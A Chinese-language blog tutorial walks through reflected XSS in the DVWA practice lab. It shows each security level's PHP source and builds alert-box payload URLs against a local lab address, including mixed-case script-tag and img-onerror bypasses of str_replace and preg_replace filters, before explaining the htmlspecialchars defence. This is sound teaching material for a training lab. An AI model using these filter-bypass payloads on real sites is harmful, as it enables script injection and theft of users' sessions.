1. 程式人生 > >XSS Reflected 測試

XSS Reflected 測試

由於最近在做XSS方面的測試,於是找到了DVWA平臺進行實驗測試,通過這三篇文章讓大家瞭解XSS方面的大概內容,這三篇文章只是把你領進XSS的大門,要想真正深入的學習XSS,你還需要去學習很多東西來提升自己。

網站測試分為黑盒測試和白盒測試,在這裡採用白盒測試來對網站進行XSS漏洞測試,XSS漏洞分為三種:反射型XSS、儲存型XSS、DOM型XSS,分別用三篇文章來進行闡述。

XSS攻擊形成原理

XSS中文名是“跨站指令碼攻擊”,英文全稱是“Cross Site Scripting”。

XSS也是一種注入攻擊,長期以來被列為客戶端web安全中的頭號大敵,當web應用對使用者輸入過濾不嚴格,攻擊者寫入惡意的指令碼程式碼(HTML、JavaScript)到網頁中時,如果使用者訪問了含有惡意程式碼的頁面,惡意指令碼就會被瀏覽器解析執行導致使用者被攻擊。

OWASP TOP 10 威脅多次把XSS列在榜首,常見的危害有:cookie竊取、session劫持、釣魚攻擊、蠕蟲、ddos、獲取使用者真實IP、識別使用者瀏覽器 ··········

dvwa反射型xss

反射型XSS:只是簡單地把使用者輸入的資料反射給瀏覽器,一般出現在URL引數中及網站搜尋欄中,只有使用者點選惡意連結觸發惡意程式碼的URL,才能受到攻擊,只能觸發一次,也被稱為“非持久型XSS(Non-persistent XSS)”。

  • low級別

 

在輸入框裡面隨便輸入一個String(admin),發現顯示:Hello admin這句話,同時可以知道資料提交是以GET請求的方式

檢視原始碼:並沒有什麼Protect,這是最危險的

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

構造payload,執行最簡單的XSS攻擊

http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%22_XSS_%22%29%3C/script%3E

當用戶觸發該URL時就會受到XSS攻擊,有彈框出現

後續測試,利用此漏洞,你也可以嘗試去獲得使用者登陸的Cookie,在這裡就不多說了,很容易實現的

  • medium 級別
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

經過程式碼審計,可以發現medium級別進行了Protect,對GET請求到的的內容進行'<script>'字串匹配,將內容裡出現的該字

符串替換成空,避免<script>標籤造成的XSS攻擊,但是<script>標籤真的就不能使用了嗎,答案是可以使用的,回過頭來繼續分析此str_replace()函式

str_replace() 函式以其他字元替換字串中的一些字元(區分大小寫)。

在這裡可以利用str_replace()函式區分大小寫的缺點來進行XSS攻擊

構造payload,繼續使用<script>標籤進行XSS攻擊

http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3CsCript%3Ealert%28%271111%27%29%3C%2Fscript%3E#

成功繞過<script>標籤的匹配

另一種繞過方法不使用<script>標籤進行XSS攻擊,既然str_repalce()函式匹配的是<script>標籤,而不匹配其它標籤,所以在這裡也可以利用<img>標籤進行XSS攻擊

構造payload

http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3Cimg+src%3D%23+onerror%3Dalert%28%22_XSS_%22%29%3E#

<img>標籤繞過str_replace()

  • high 級別
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

程式碼審計之後,發現high級別存在另外一種的Protect,利用preg_replace()函式進行匹配“< s r i p t”等字元,將其置為空,此時<script>標籤是不能使用的,不管是大小進行區分寫都不可以

小寫<script>標籤被過濾

http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%22_XSS_%22%29%3C%2Fscript%3E#

大小寫混合<script>標籤被過濾

http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3CScripT%3Ealert%28%22_XSS_%22%29%3C%2FscriPt%3E#

上面的既然都不行,就需要利用其它標籤進行XSS攻擊,此處可以利用 medium 級別 中提到的<img>標籤進行繞過preg_replace()函式的Protect

構造payload

http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3Cimg+src%3D%23+onerror%3Dalert%28%22_XSS_%22%29%3E#

<img>標籤成功繞過preg_replace()

  • impossible 級別
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

impossible 級別的Protect不能被繞過,由於htmlspecialchars()函式的保護作用

htmlspecialchars() 函式把預定義的字元轉換為 HTML 實體。

預定義的字元是:

& (和號)成為 &
" (雙引號)成為 "
' (單引號)成為 '
< (小於)成為 <
> (大於)成為 >
 
它的語法如下:
htmlspecialchars(string,flags,character-set,double_encode)
    其中第二個引數flags需要重要注意,很多開發者就是因為沒有注意到這個引數導致使用htmlspecialchars()函式過濾XSS時被繞過。因為flags引數對於引號的編碼如下:

可用的引號型別:

ENT_COMPAT - 預設。僅編碼雙引號。
ENT_QUOTES - 編碼雙引號和單引號。
ENT_NOQUOTES - 不編碼任何引號。
預設是隻編碼雙引號的

因為輸入的所有標籤都被轉義,所以此處不存在XSS攻擊,但是要注意flags屬性,使用不當過濾XSS時就會被繞過